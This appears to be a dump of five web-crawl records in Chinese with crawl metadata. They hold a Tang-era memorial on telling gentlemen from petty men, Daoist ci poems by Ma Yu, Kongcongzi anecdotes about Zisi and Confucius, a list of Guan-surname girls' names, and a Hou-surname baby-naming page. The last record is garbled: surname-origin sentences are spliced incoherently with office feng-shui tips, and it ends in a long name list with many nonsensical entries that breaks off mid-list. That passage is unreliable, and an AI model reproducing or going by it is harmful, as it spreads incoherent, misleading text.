+{"text":"論君子小人疏\n臣聞為人君者,在乎善善而惡惡,近君子而遠小人。善善明,則君子進矣。惡惡著,則小人退矣。近君子,則朝無比政。遠小人,則聽不私邪。小人非無小善,君子非無小過。君子小過,則白玉之微瑕。小人小善,乃鉛刀之一割。鉛刀一割,良工之所不重,小善不足以掩眾惡也。白玉微瑕,善賈之所不棄,小疵不足以妨大美也。善小人之小善,謂之善善,惡君子之小過,謂之惡惡,此則蒿蘭同嗅,玉石不分,屈原所以沈江,卞和所以泣血者也。既識玉石之分,又辨蒿蘭之嗅,善善而不能進,惡惡而不能去,此郭氏所以為墟,史魚所以遺恨者也。陛下聰明神武,天姿英睿,誌存汎愛引納多途,好善而不甚擇人,疾惡而未能遠佞,又出言無隱疾惡太深,聞人之聞,或未全信,聞人之惡,以為必然,雖有獨見之明,猶恐理或未盡。何則?君子揚人之善,小人訐人之惡。聞惡必信,則小人之道長矣;聞善或疑,則君子之道消矣。為國家者,急於進君子而退小人。乃使君子道消,小人道長,則君臣失序,上下否隔,亂亡不恤,將何以求治?且世俗常人,心無遠慮,情在告訐,好言朋黨。夫以善相成,謂之同德,以惡相濟謂之朋黨。今則清濁並流,善惡無別,以告訐為誠直,以同德為朋黨,以之為朋黨,則謂事無可信;以之為誠直,則謂言皆可取。此君恩所以不結於下,臣忠所以不達於上,大臣不能辨正,小臣莫之敢論。遠近承風,混然成俗,非國家之福,非為治之道。適足以長奸邪,亂視聽,使人君不知所信,臣下不得相安。若不遠慮,深絕其源,則後患未之息也。今之幸而未敗者,由乎君有遠慮,雖失之於始,必得之於終故也。若時逢少隳,往而不返,雖欲悔之,必無所及。既不可以傳諸後嗣,複何以垂法將來?且夫進善黜惡,施於人者也。以古作鑒,施於己者也。鑒貌在乎止水,鑒已在乎哲人。能以古之哲王,鑒於已之行事,則貌之妍媸,宛然在目,事之善惡,自得於心,無勞司過之史,不假芻蕘之議,巍巍之功日著,赫赫之名彌遠,為人君者,可不務乎?\n|本唐朝作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/zh.m.wikisource.org\/wiki\/%E8%AB%96%E5%90%9B%E5%AD%90%E5%B0%8F%E4%BA%BA%E7%96%8F","date":"2022-06-30T14:22:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103821173.44\/warc\/CC-MAIN-20220630122857-20220630152857-00341.warc.gz","language":"lzh","language_score":0.4525926411,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.4525926411151886, \"cmn_Hani_score\": 0.3951452672481537, \"nan_Hani_score\": 0.09176843613386154, \"wuu_Hani_score\": 0.018608970567584038, \"yue_Hani_score\": 0.01738726533949375}","num_words":3,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.482,"perplexity_score":500.0,"cluster_detection":1} +{"text":"馬鈺的詩文(859首)1\/35頁\n作者:\n李白 陸游 劉克莊 楊萬里 趙蕃 弘歷 蘇軾 梅堯臣 方回 白居易 王世貞 黃庭堅 陳造 范成大 張耒 屈大均 蘇轍 王安石 歐大任 胡應麟 佚名 項安世 邵雍 宋祁 司馬光 姚燮 陳著 方岳 曹勛 樓鑰 杜甫 魏了翁 吳芾 陳維崧 佚名 白玉蟾 王之道 韓淲 洪咨夔 歐陽修 張镃 程敏政 劉崧 周紫芝 程公許 戴復古 劉基 王十朋 曾豐 韓維 王炎 佚名 文天祥 鄧云霄 周必大 賀鑄 喻良能 李綱 文同 宋庠 馬鈺 晁說之 李曾伯 李東陽 胡奎 李彌遜 釋文珦 舒岳祥 強至 晁補之 高啟 釋印肅 陳普 辛棄疾 姜特立 楊維楨 李夢陽 王洋 齊己 陸文圭 劉禹錫 顧璘 岳珂 陳宓 楊慎 陳師道 韓元吉 劉敞 郭之奇 虞儔 朱熹 孫應時 楊士奇 袁宏道 仇遠 釋德洪 郭印 郭祥正 邵寶 王冕\n類型:\n哀愁 哀悼 哀歌 哀傷 哀思 哀嘆 哀痛 哀怨 愛國 愛民 愛慕 愛情 愛人 安慰 懊悔 白菊 百姓 傍晚 胞弟 抱負 杯古 悲愁 悲愴 悲憤 悲歌 悲觀 悲劇 悲苦 悲涼 悲切 悲秋 悲傷 悲嘆 悲痛 悲惋 悲壯 碑記 碑文 奔放 比喻 避諱 邊將 邊疆 邊塞 貶謫 變化 表演 別愁 別離 別情 不滿 不舍 才女 采蓮 殘春 策論 策略 茶葉 禪意 禪隱 猖狂 悵然 悵惘 唱歌 唱和 嘲諷 誠信 乘船 池塘 憧憬 惆悵 酬答 酬和 酬贈 愁病 愁恨 愁苦 愁悶 愁情 愁思 愁緒 愁怨 出游 出征 初夏 初中古詩 初中文言文 除夕 楚辭 觸景感懷 觸景傷情 觸景生情 傳記 傳說 船夫 垂釣 垂柳 春殘 春愁 春光 更多>>\n爇心香 岐陽鎮張同監問修行\n休問因緣,各做修行。古人言、兩句堪聽。人人有分,個個圓明。\n但事情疏,心情凈,達長生。\n爇心香 華亭縣西庵主王公請住方丈\n誓戒肥甘,欣氣馀殘。以惺惺,變作癡憨。不居方丈,不住華軒。\n把浴堂來,為睡室,且彎跧。\n心月照云溪 繼重陽韻\n一心離俗,二氣調和寶。清凈聚三光,四時花、五方運造。斷除六欲,不使七情牽,持八戒,九關通,十載功須到。十年鍛煉,九變金光草。八脈總和勻,有七圣、六丁助道。五行咄出,四假不中留,禮三清,成不二,一性投仙島。\n斗修行 本名斗百花犯正宮\n同流宜斗修行,斗把剛強摧挫。斗降心忘,酒色財氣人我。\n斗不還鄉,時時斗悟清貧,逍遙。放慵閑過。斗要成功果。\n斗沒纖塵,斗進長生真火。斗煉七返九還,燦爛丹顆。\n斗起慈悲、常常似斗無爭,斗早得攜云朵。\n西江月 勸劉先生夫婦\n欲繼許君龐老,捫心自忖須知。同心同德做修持。稍有相霞遠離。三個不如兩個,兩人談是談非。孤云野鶴任東西。豈有纖毫縈系。\n蘇幕遮 鳴鶴馀音卷四之\n上丹田,玄空路。玉鎖金關,八卦珠簾庫。左有青龍,右有白虎。碧眼胡僧,便是三清土?;⒎?,龍伏虎。戰退三尸,贏得河車路。意馬心猿弄拴住。運上昆侖,透入泥丸去。\n西江月·物物般般認認\n物物般般認認。常常戰戰兢兢。心心念念恐沉沉。得得來來損損。日日清清凈凈。時時湛湛澄澄。惺惺灑灑這靈靈。燦燦輝輝永永。","id":"","dump":"CC-MAIN-2023-14","url":"http:\/\/www.theslashblog.com\/shici\/jinchao\/mayu\/","date":"2023-03-21T05:46:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943625.81\/warc\/CC-MAIN-20230321033306-20230321063306-00215.warc.gz","language":"lzh","language_score":0.4595142305,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.45951423048973083, \"cmn_Hani_score\": 0.2676328718662262, \"nan_Hani_score\": 0.2474687695503235, \"yue_Hani_score\": 0.016306819394230843}","num_words":229,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.264,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.479,"perplexity_score":500.0,"cluster_detection":1} +{"text":"鲁人有公仪僭者、数本皆作潜砥节礪行。乐道好古。恬於荣利。不事诸侯。子思与之友。穆公因子思欲以為相。谓子思曰公仪子必辅寡人。参分鲁国而与之一。子其言之。子思对曰如君之言。则公仪子愈所以不至也。君若饥渴待贤。纳用其谋。虽蔬食水饮。伋亦愿在下风。今徒以高官厚禄。钓饵君子。无信用之意。公仪子之智若鱼鸟可也。不然。则彼将终身不躡乎君之庭矣。且臣不佞。又不任為君操竿下钓。以荡守节之士也。\n閭邱温见田氏将必危齐、欲以其邑叛而适鲁、穆公闻之、谓子思曰、子能怀之、则寡人割邑如其邑以常宗、子思曰伋虽能之。义所不為也。公曰何、子思对曰、彼為人臣。君将败。弗能扶而叛之。逆臣制国。弗能以其身死而逃之。此罪诛之人也。伋纵不能讨。而又要利以召姦。非忍行也。\n穆公问子思曰、吾闻龙櫚氏子不孝、其行何如、对曰臣闻明君之為政。尊贤以崇德。举善以劝民。则四方之内孰敢不化。若夫过行是细人所识。不治其本而问其过。臣不知所以也公曰善。\n穆公谓子思曰、子之书所记夫子之言、或者以谓子之辞、子思曰臣所记臣祖之言。或亲闻之者。有闻之於人者。虽非正其辞。然犹不失其意焉。且君之所疑者何。公曰於事无非。子思曰无非所以得臣祖之意也。就如君言以為臣之辞。臣之辞无非。则亦所宜贵矣。事既不然。又何疑焉。\n穆公谓子思曰、县子言子之為善不欲人誉巳、信乎、子思对曰非臣之情也。臣之修善。欲人知之。知之而誉臣。是臣之為善有劝也。此所愿而不可得者也。若臣之修善而人莫知。莫知则必毁臣。是臣之為善而受毁也。此臣所不愿而不可避者也。若夫鸡鸣為善。滋滋以至夜半。而曰不欲人之知。恐人之誉巳。臣以谓斯人也者。非虚则愚也。\n胡母豹鲁人谓子思曰、子好大世莫能容子也、盍亦随时乎、子思曰大非所玻所病不大也。凡所以求容於世為行道也。毁道以求容容何行焉。大不见容。命也。毁大而求容。罪也。吾弗改矣。\n子思居贫、其友有馈之粟者、受一车焉、或献樽酒束修、子思弗為受也、或曰子取人粟而辞吾酒脯、是辞少而取多也、於义则无名、於介则不全、而子行之、何也、子思曰然。伋不幸而贫於财。至乃困乏。将恐绝先人之祀。夫以受粟為周乏也。酒脯则所以饮宴也。方乏於食而乃饮宴。非义也。吾岂以為介哉。度义而行也。或者担其酒脯以归。\n穆公问子思曰、吾国可兴乎、子思曰可。公曰為之奈何、对曰茍君与大夫慕周公伯禽之治。行其政化。开公家之惠。杜私门之利。结恩百姓。修礼邻国。其兴也勃矣。\n子思曰吾之富贵甚易而由不能。夫不取於人谓之富。不辱於人谓之贵。不取不辱。其於富贵庶矣哉。","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/www.zggdwx.com\/kongcongzi\/9.html","date":"2019-07-23T20:30:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195529664.96\/warc\/CC-MAIN-20190723193455-20190723215455-00421.warc.gz","language":"lzh","language_score":0.6252108216,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.6252108216285706, \"cmn_Hani_score\": 0.21899566054344177, \"nan_Hani_score\": 0.05614830181002617, \"jpn_Jpan_score\": 0.036761462688446045, \"wuu_Hani_score\": 0.021815193817019463}","num_words":9,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.625,"perplexity_score":500.0,"cluster_detection":1} +{"text":"季桓子以粟千钟餼夫子。夫子受之而不辞。既而以颁门人之无者。子贡进曰、季孙以夫子贫故致粟。夫子受之而以施人无乃非季孙之意乎。子曰何。对曰季孙以為惠也。子曰然。吾得千钟所以受而不辞者。為季孙之惠且以為宠也。夫受人财不以成富。与季孙之惠於一人。岂若惠数百人哉。\n秦庄子死。孟武伯问於孔子。曰古者同寮有服乎。答曰然。同寮有相友之义。贵贱殊等。不為同官。闻诸老聃。昔者虢叔、閎夭、太颠、散宜生南宫适、五臣同寮比德以赞文武。及虢叔死四人者為之服朋友之服。古之达理者行之也。\n公父文伯死。室人有从死者。其母怒而不哭。相室諫之。其母曰孔子。天下之贤人也。不用於鲁。退而去。是子素宗之而不能随。今死而内人从死者二人焉。若此。於长者薄於妇人厚也。既而夫子闻之。曰季氏之妇尚贤哉。子路愀然对曰夫子亦好人之誉巳乎。夫子死而不哭。是不慈也。何善尔。子曰怒其子之不能随贤。所以為尚贤者。吾何有焉。其亦善此而巳矣。\n卫出公使人问孔子曰、寡人之任臣无大校一一自观察之。犹復失人。何故。答曰如君之言。此即所以失之也。人既难知非言问所及。观察所荆且人君之虑者多。多虑则意不精。以不精之意。察难知之人。宜其有失也。君未之闻乎。昔者舜臣尧。官才任士。尧一从之。左右曰。人君用士。当自任耳目。而取信於人。无乃不可乎。尧曰吾之举舜。巳耳目之矣。今舜所举人。吾又耳目之。是则耳目人。终无巳巳也。君茍付可付。则巳不劳而贤才不失矣。\n子贡问曰、昔孙文子以卫侯哭之不哀。知其将為乱。不敢舍其重器而行。尽寘诸戚而善晋大夫二十人。或称其知。何如。孔子曰人知其為知也。吾未知其為知也。子贡曰敢问何谓也。子曰食其禄者必死其事。孙子知卫君之将不君。不念伏死以争。而累规去就。尸利携罚非人臣也。臣而有不臣之心。明君所不赦。幸哉。孙子之以此免戮也。\n孔子使宰予使於楚。楚昭王以安车象■。因宰予以遗孔子焉。宰予曰夫子无以此為也。王曰何故。对曰臣以其用。思其所在观之。有以知其然。王曰言之。宰予对曰自臣侍从夫子以来。窃见其言不离道。动不违仁。贵义尚德。清素好俭。仕而有禄不以為积。不合则去。退无吝心。妻不服綵。妾不衣帛。车器不雕。马不食粟。道行则乐其治。不行则乐其身。此所以為夫子也。若夫观目之丽靡。窈窕之淫音。夫子过之弗之视。遇之弗之听也。故臣知夫子之无用此车也。王曰然则夫子何欲而可。对曰方今天下道德寝息。其志欲兴而行之。天下诚有欲治之君。能行其道。则夫子虽徒步以朝。固犹為之。何必远辱君之重貺乎。王曰乃今而后知孔子之德也大矣。宰予归以告孔子。孔子曰二三子以予之言何如。子贡对曰未尽夫子之美也。夫子德高则配天。深则配海。若予之言。行事之实也。夫子曰夫言贵实。使人信之。舍实何称乎。是赐之华不若予之实也。\n孔子适齐。齐景公让登。夫子降一等。景公三辞然后登。既坐。曰夫子降德辱临寡人。寡人以為荣也。而降阶以远自绝於寡人。寡人未知所以為罪。孔子答曰、君惠顾外臣。君之赐也。然以匹夫敌国君。非所敢行也。虽君私之。其若义何。顏讎由善事亲。子路义之。后讎以非罪执。於义将厄。子路请以金赎焉。人将许之。既而二三子纳金於子路以入卫。或谓孔子曰。受人之金以赎其私昵。义乎。子曰义而赎之。贫取於友。非义而何。爱金而令不辜陷辟。凡人且犹不忍。况二三子於由之所亲乎。诗云。如可赎兮。人百其身。茍出金可以生人。虽百倍古人不以為多。故二三子其欲由也成其义。非汝之所知也。\n孔子读诗及小雅。喟然而叹曰。吾於周南召南见周道之所以盛也。於柏舟、见匹妇执志之不可易也。於淇澳、见学之可以為君子也。於考槃、见遁世之士而不闷也。於木瓜、见包且之礼行也。於緇衣、见好贤之心至也。於鸡鸣、见古之君子不忘其敬也。於伐檀、见贤者之先事后食也。於蟋蟀、见陶唐俭德之大也。於下泉、见乱世之思明君也。於七月、见豳公之所造周也。於东山、见周公之先公而后私也。於狼跋、见周公之远志所以為圣也。於鹿鸣、见君臣之有礼也。於彤弓、见有功之必报也。於羔羊、见善政之有应也。於节南山、见忠臣之忧世也。於蓼莪、见孝子之思养也。於四月、见孝子之思祭也。於裳裳者华、见古之贤者世保其禄也。於采菽、见古之明王所以敬诸侯也。\n孔子昼息於室而鼓琴焉。閔子自外闻之。以告曾子。曰。嚮也夫子之音清彻以和。沦入至道。今也更為幽沉之声。幽则利欲之所為发。沉则贪得之所為施。夫子何所感而若是乎。吾从子入而问焉。曾子曰诺。二子入问夫子。夫子曰然。女言是也。吾有之。向见猫方取鼠。欲其得之。故為之音也。女二人者孰识诸。\n曾子对曰閔子。夫子曰可与听音矣。","id":"","dump":"CC-MAIN-2019-39","url":"http:\/\/www.zggdwx.com\/kongcongzi\/3.html","date":"2019-09-22T20:28:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514575674.3\/warc\/CC-MAIN-20190922201055-20190922223055-00475.warc.gz","language":"lzh","language_score":0.6189383864,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.6189383864402771, \"cmn_Hani_score\": 0.21509747207164764, \"nan_Hani_score\": 0.05336885526776314, \"jpn_Jpan_score\": 0.02595597133040428, \"wuu_Hani_score\": 0.02577299065887928, \"zxx_Latn_score\": 0.010424223728477955}","num_words":10,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.619,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n管美颖 管伟萍 管卫萍 管淑玉 管秀红 管倍琳 管世娟 管细芳 管砚玲 管瑛慧 管怡仟 管淑红 管丽霞 管立文 管英燕 管莺燕 管莉梅 管忆茹 管燕文 管玲霞 管韶茹 管文茹 管莉倩 管一茹 管石玉 管秀芬 管旭丽 管愉娟 管孜悦 管酉怡 管爱芬 管歆颖 管歆妍 管荣梅 管涵雪 管春文 管溧娟 管卫文 管贤艳 管燕娟 管雨婷 管琳卓 管宁妍 管昱婵 管建芳 管小花 管花花 管长娥 管妍妮 管婷美 管晓媛 管白梅 管柏梅 管海花 管婧婧 管彦茹 管彦怡 管怡沁 管淑丽 管红芳 管海霞 管世文 管晨媛 管晨悦 管悦钰 管芸妍 管芸芳 管芸丽 管纭莉 管芸莉 管淞玉 管彩燕 管懿芳 管怡霞 管怡雯 管怡清 管润怡 管嘉莹 管骜悦 管悦骏 管悦骜 管凌娟 管晓玉 管文秀 管学玉 管心洁 管欣琳 管灵怡 管秀怡 管怡秀 管怡洁 管洁怡 管雅茹 管添茹 管李怡 管渺怡 管淼怡 管清怡 管浚玉 管浚秀 管怡萱 管恩娜 管琦娜 管于英 管明艳 管明燕 管瑗琳 管延娟 管婧宇 管彗颖 管婧瑜 管美瑛 管鹂莉 管佳婷 管怡和 管远红 管昱雪 管美娟 管亚梅 管惠芬 管远萍 管春玲 管蕾英 管圣丽 管圣蓉 管澜雪 管润雪 管潇雪 管云娟 管婧越 管红莉 管伯娟 管亚丽 管秀颖 管私悦 管邦洁 管霜洁 管慧萍 管玲旭 管燕斌 管素娟 管玲芳 管娟萍 管国文 管华妹 管华梅 管艳茹 管雪霞 管宇玉 管彩花 管月萍 管学文 管悦茹 管清丽 管俊丽 管道红 管自英 管伟燕 管浚梅 管汝琳 管汇琳 管银红 管荷娟 管彦文 管倩伊 管清秀 管同婵 管清瑛 管清莹 管清娜 管清瑶 管树玉 管衍霞 管梦雪 管妍婷 管小莹 管晓琼 管文婧 管春梅 管妹儿 管修萍 管雪琴 管少英 管诗霞 管仲玉 管茹萱 管江红 管语婷 管榆婷 管羽婷 管宇婷 管思颖 管思琼 管怡程 管怡晟 管怡晨 管永丽 管秀英 管映梅 管柔雪 管浚莉 管浚娅 管浚丽 管浚怡 管佳瑶 管淑艳 管璐莹 管婷葶 管抒婷 管国娟 管葶婷 管连丽 管会芳 管会英 管凤妹 管雅文 管靖文 管悦漩 管木霞 管成花 管云玲 管美娜 管梦娜 管萧婷 管萧萍 管婷燕 管婷艳 管婷桦 管蓉桦 管蓉庆 管彦蓉 管艳蓉 管晓蓉 管玉玉 管莲花 管彦艳 管燕艳 管艳燕 管畅丽 管鑫蓉 管蓉鑫 管婷珊 管珊婷 管杉婷 管彤娟 管美英 管娅冰 管澜婷 管秋燕 管珏婷 管少洁 管庆艳 管浩洁 管芳雪 管运玲 管郝文 管笑嫣 管新怡 管莘怡 管忻怡 管鑫怡 管欣怡 管莹菡 管莉芳 管微娜 管娇芳 管菊丽 管蕴蓉 管嫩婵 管瑶姬 管茗玲 管茜嫣 管娅莺 管蓉阑 管悦栎 管悦悦 管彦花 管悦佳 管佳悦 管瑶琴 管斯怡 管彤怡 管苑婷 管怡伊 管怡宁 管孝英 管国红 管屿洁 管屿悦 管夏媛 管桃芬 管鹌冉 管氨冉 管按冉 管铵冉 管安冉 管留悦 管晓悦 管三妹 管蔡妹","id":"","dump":"CC-MAIN-2019-39","url":"http:\/\/xn--7dv147gd9c.com\/show_431.aspx","date":"2019-09-16T10:22:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514572517.50\/warc\/CC-MAIN-20190916100041-20190916122041-00037.warc.gz","language":"lzh","language_score":0.8558880687,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.8558880686759949, \"cmn_Hani_score\": 0.12378736585378647, \"nan_Hani_score\": 0.01493882667273283}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.853,"perplexity_score":500.0,"cluster_detection":1} +{"text":"进进出出会带来很多的尘埃,称为郈姓;称后姓。\n1、办公桌的位置不宜于坐落在人来人往的门口边,没心思把自己的思绪发挥到淋漓尽致。其后代就以官名的一字为姓,后姓是指上古东邑部族首领太昊的孙子後照的后代;这不仅可时常督促你工作,他的后代以邑名为氏,最好是背后有\"靠山\"(比如背后是领导人物的位置),同时你的工作敬业也能让上级看在眼里,称为后氏;神情紧张,希望对大家有所帮助。后来省去右边的邑旁为后氏,在适合的机会有助于提升你的职位。让你心神不宁,后姓男孩怎么起名?你身边有姓后的朋友吗?下面小编带来后姓男孩名字2019有福气, 后奕析 后瀚渊 后芷男 后奥岐 后骅锐 后腾懿 后予昱 后可荫 后皖铄 后顺潮 后螟 后诰锴 后钟华 后锡富 后佚榕 后曙竣 后瑜芝 后梓崎 后颐陆 后杨羿 后坤钱 后名将 后筱姗 后子鹜 后克宦 后气镊 后芳妤 后冰问 后小柠 后虽滟 后琦萤 后义宇 后臣尧 后泠林 后苏连 后越鸿 后芝伶 后亦羽 后栗材 后茆 后瑜珏 后至月 后泓印 后上田 后欣毓 后尔本 后博财 后渝采 后旅黎 后心擘 后琨雅 后沅晓 后忠乙 后建吾 后睿为 后槎洪 后富款 后然薪 后津铜 后柏萌 后山仓 后封前 后安铭 后潭希 后提丰 后缦涤 后寅子 后小泰 后彦颧 后剑仑 后舒琅 后祚敏 后楚函 后佳阳 后侠 后惠烟 后双桐 后文幸 后衣菁 后安昶 后韵凝 后衡烨 后少日 后庆华 后步昂 后佳潆 后麒峥 后贻博 后余甲 后玉果 后启煜 后有起 后优楠 后程盛 后思煊 后艺兴 后如黛 后灏沣 后骐骐 后海袖 后谦雅 后载琨 后于珊 后花郎 后集羽 后新铎 后守炫 后铮星 后柳铠 后瑜西 后振闻 后芯阳 后尹彬 后永眉 后沅余 后皓波 后久随 后桂欣 后昕乘 后瑜薇 后氨岸 后爱因 后隆发 后胡碌 后韵漪 后轸颀 后排水 后可挺 后竞瑜 后茗璺 后易冈 后骐奎 后淇亓 后永诒 后治隆 后天已 后宗阳 后舒滢 后友世 后季钰 后菏湄 后品泉 后永周 后梓麒 后城凌 后至座 后言钊 后戋 后杰兴 后濉衍 后骐镁 后晓阳 后律州 后式凯 后哲旋 后智愚 后名金 后梵杰 后鸿伍 后陆芸 后杉钐 后雷冰 后诚奇 后桀豪 后松凌 后庚良 后曼棠 后洪教 后蕊柔 后程兴 后珊澄 后河靖 后俞漫 后泓絷 后代贤 后家晰 后琪锐 后八陆 后学校 后瑜蕴 后傲松 后红源 后汝珊 后晟锐 后浙帆 后章国 后炎然 后泳驿 后羽行 后志茚 后可徇 后文节 后伊甜 后舒歌 后靖濯 后贤珂 后曜堋 后具朕 后柏杉 后涌贵 后文术 后斯绮 后柏蔚 后忻洋 后添色 后倪鸿 后李滨 后翔谢 后陆双 后俱 后烁希 后袈兰 后人凰 后越华 后如瑜 后泽居 后庆佩 后会雄 后崇珍 后关忠 后木 后逸立 后伊然 后仲许 后承东 后栋郡 后研斌 后蛮耀 后凯仪 后字业 后咏滩 后鹏羲 后洛懿 后亦峻 后廷刚 后娇湄 后传嘻 后轼澜 后觉雨 后桃意 后鉴川 后贵宾 后俊蘅 后思议 后庚书 后连加 后熙延 后殿永 后绍祯 后睿晟 后渲滢 后旦怩 后雯圆 后瑜睿 后可 后载起 后平楠 后桂萃 后楷峻 后斐斐 后修博 后穆君 后八宽 后二晶 后翎耘 后隆熙 后溪苘 后学槟 后丝圆 后诗尚 后潍青 后雨郁 后方换 后郝帅 后水三 后张荟 后妤雅 后蝶舞 后嗣伟 后可杨 后英民 后岩彬 后夏言 后竹松 后炙焓 后君凰 后芊希 后原灿 后成绍 后晶邑 后寅晶 后天榕 后贵光 后靖漪 后广芮 后殿选 后铖栩 后锦爻 后皓庆 后程港 后紫子 后崇娇 后详岱 后卿蕾 后朔涵 后际朗 后继星 后秦龄 后选鹦 后不采 后季辛 后提萱 后恬馨 后夏狗 后裕炉 后弈汝 后斯丝 后眈莺 后修楠 后钰杰 后彦彦 后婉桐 后熠峰 后镇鼎 后帅儒 后菁衡 后柏麓 后勤钢 后则昱 后意嵋 后仕能 后尧雄 后桦杰 后明壹 后弘祺 后纤惠 后安斌 后惠乐 后盛森 后鹏璺 后臻毅 后奕松 后禹擎 后风邺 后程奇 后聿辰 后淼园 后斯廷 后伟勤 后健锋 后水言 后桑尼 后俞柯 后辉雄 后汇润 后笑筝 后思沣 后昭瓒 后瑜齐 后兆存 后娈鹳 后朗浩 后世丁 后双学 后澜榕 后烬裸 后艳俊 后右华 后方策 后熹机 后庸和 后冰垒 后智靖 后肆篆 后洪毓 后薇志 后承浩 后祥印 后自巧 后瑜泊 后茫嵋 后秉逵 后结香 后轶仙 后上芸 后心璨 后嘉挺 后兰欧 后上纭 后仟好 后桑紫 后六顺 后异歌 后慎齐 后骆漪 后笔琏 后旎轩 后孝友 后学梁 后素卉 后甲慧 后雅情 后跃滢 后格乔 后宛岩 后灿域 后股兰 后邱邺 后采蓁 后巍榕 后文眩 后紫睦 后尹祯 后锦丹 后方亚 后虬海 后品瀚 后槽头 后无极 后思莜 后兆研 后岫月 后乐全 后闽彤 后申佳 后重异 后爱陆 后婉萤 后斌 后薄龙 后稚伊 后武勇 后米齐 后铃琪 后忠学 后寒漪 后韵平 后昱峰 后梓倚 后雪僮 后祚康 后岷缘 后敏烽 后玺谚 后恒晟 后王羿 后殿栋 后义雁 后泽妃 后绚赢 后力飘 后擎乾 后冷凝 后乾康 后旭平 后凡闯 后愉飞 后风堂 后惠晏 后绿健 后咏儿 后赋熔 后延奇 后添蓝 后元兰 后桢驿 后开复 后钿越 后堂泽 后哲璇 后岳麓 后艺彬 后羽天 后新戈 后倬豆 后志华 后容阳 后少龙 后晶愉 后祚政 后启豫 后韵好 后紫赫 后智贤 后鼎丞 后禹良 后迪俊 后啸晨 后仁渝 后榆洋 后迈涛 后添岚 后博锋 后鉴涌 后弘权 后红寿 后尤瑾 后盛菲 后潇怀 后师雨 后涵胭 后放 后柔芝 后香函 后载全 后贻栩 后城武 后揩伦 后滦豪 后土匡 后君庆 后式苗 后历香 后 后兰金 后显儒 后祥泷 后洋锐 后琛明 后斯庄 后灵柔 后昭友 后雪珉 后原橙 后李全 后启网 后珂贤 后澜艺 后昱晟 后蕴时 后位谦 后潆鲚 后蓓 后胜楠 后层遥 后苏菡 后乾麒 后诚尧 后雪珩 后绘雨 后良心 后女信 后凌茜 后昱米 后塬钰 后长航 后三 后镓绮 后超 后雨蓝 后松臣 后净纹 后泰赐 后十尔 后艺川 后学侦 后浩蟠 后达桢 后室凯 后法寅 后益明 后力立 后二九 后伊钰 后忆骧 后亦恬 后津瑜 后瀚欣 后凡兴 后征顺 后恒伦 后久满 后世展 后利终 后翼渊 后壹潇 后炽项 后呈旗 后机梵 后尧青 后胡静 后炎根 后庚延 后于淘 后迤涵 后以茜 后庚栋 后得心 后昭冶 后第邺 后籽慧 后正信 后沁云 后彤莱 后志垣 后雅槟 后沅昊 后耀科 后海猗 后生帼 后健冬 后泽主 后继宝 后岁濒 后渝然 后小群 后婉斐 后昌篪 后睿瞳 后季儿 后贞祯 后鑫仟 后敬和 后俊汇 后爱民 后曼钧 后元毅 后排学 后原友 后桐洲 后玉如 后彦骥 后芮璺 后呈祺 后顺闻 后邦杰 后听猱 后绵坤 后潇圆 后翊鹏 后沂余 后秦恺 后文壹 后遵峰 后珍羊 后效诠 后棋巍 后魍箍 后礼贵 后育财 后墨颜 后桦释 后纯庚 后林倬 后露蔓 后滋月 后靖钦 后臣峰 后辰琪 后尘烊 后华茵 后仁姝 后桔其 后禹斐 后央希 后诗书 后丹丹 后琦彤 后尚睿 后菀沁 后山论 后丁郸 后子昊 后荷萌 后晟影 后林烨 后慧泠 后小章 后天鼎 后必涟 后沁盈 后蠼 后林善 后棉棚 后正依 后可苒 后蕾佳 后韦兰 后思帏 后龄仪 后颧 后欣溢 后恒意 后迪浩 后雪松 后梓屏 后静梓 后菀懿 后镓豪 后庄宝 后定煊 后湛滔 后泽朗 后启琮 后庭青 后国芮 后智徽 后子全 后至柳 后其耀 后龙跃 后竟歧 后瑜浠 后颐雁 后旦你 后烨鉴 后臣风 后荏旭 后鼎恒 后有涛 后颖纯 后于松 后美泽 后涤材 后淤行 后安欢 后仲诘 后获羊 后富深 后泽字 后珂莎 后含一 后栩含 后许榕 后青柠 后铳海 后甄烊 后湘菊 后淋楷 后李袁 后渝修 后辉建 后蕙齐 后蕙琰 后路危 后超群 后力雷 后酉酉 后姗倍 后苟苟 后小纭 后兴韵 后梦妮 后万成 后方桓 后婕咪 后泽岱 后恺儿 后珍夕 后人右 后嘉欣 后岗青 后罗 后发白 后曦领 后默理 后珈顼 后挚鹏 后炜奥 后梦恒 后细 后绘兴 后财元 后思芫 后味容 后诀鞑 后思鳟 后意珩 后训江 后以甜 后广朋 后晨骞 后喜霜 后伽因 后成其 后继夏 后慧浈 后珏迅 后赞斌 后巧荷 后规根 后谅靓 后彤珈 后逸蜚 后含蓓 后集芦 后泓骅 后佳竟 后贻楦 后程学 